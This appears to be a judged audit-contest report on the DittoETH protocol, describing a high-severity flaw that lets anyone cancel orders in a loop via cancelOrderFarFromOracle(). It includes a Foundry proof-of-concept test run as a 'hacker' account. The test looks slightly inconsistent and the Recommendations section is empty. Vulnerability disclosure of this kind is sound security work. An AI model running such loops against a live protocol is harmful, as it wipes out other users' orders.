DittoETH

Ditto
DeFiFoundryOracle
55,000 USDC
View results
Submission Details
Severity: high
Valid

Ability to cancel multiple orders in a cycle

Summary

Hacker could cancel orders in for loop.

Vulnerability Details

Contract has function cancelOrderFarFromOracle(), which allow everyone cancel last order. And user could cancel only 1 order in each call. But user could make calls in loop.

Impact

Hacker could call function cancelOrderFarFromOracle() in for loop.

function testCancelOrderIfOrderIDTooHighShort() public {
setOrderIdAndMakeOrders({orderType: O.LimitShort});
vm.startPrank(hacker);
STypes.Order[] memory bids = getShorts();
assertEq(bids.length, 5);
for(uint16 i=64999; i > 64995;i-- ) {
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitShort,
lastOrderId: 64999,
numOrdersToCancel: 1
});
}
bids = getShorts();
assertEq(bids.length, 0);

Tools Used

Manual review

Recommendations

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-436

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.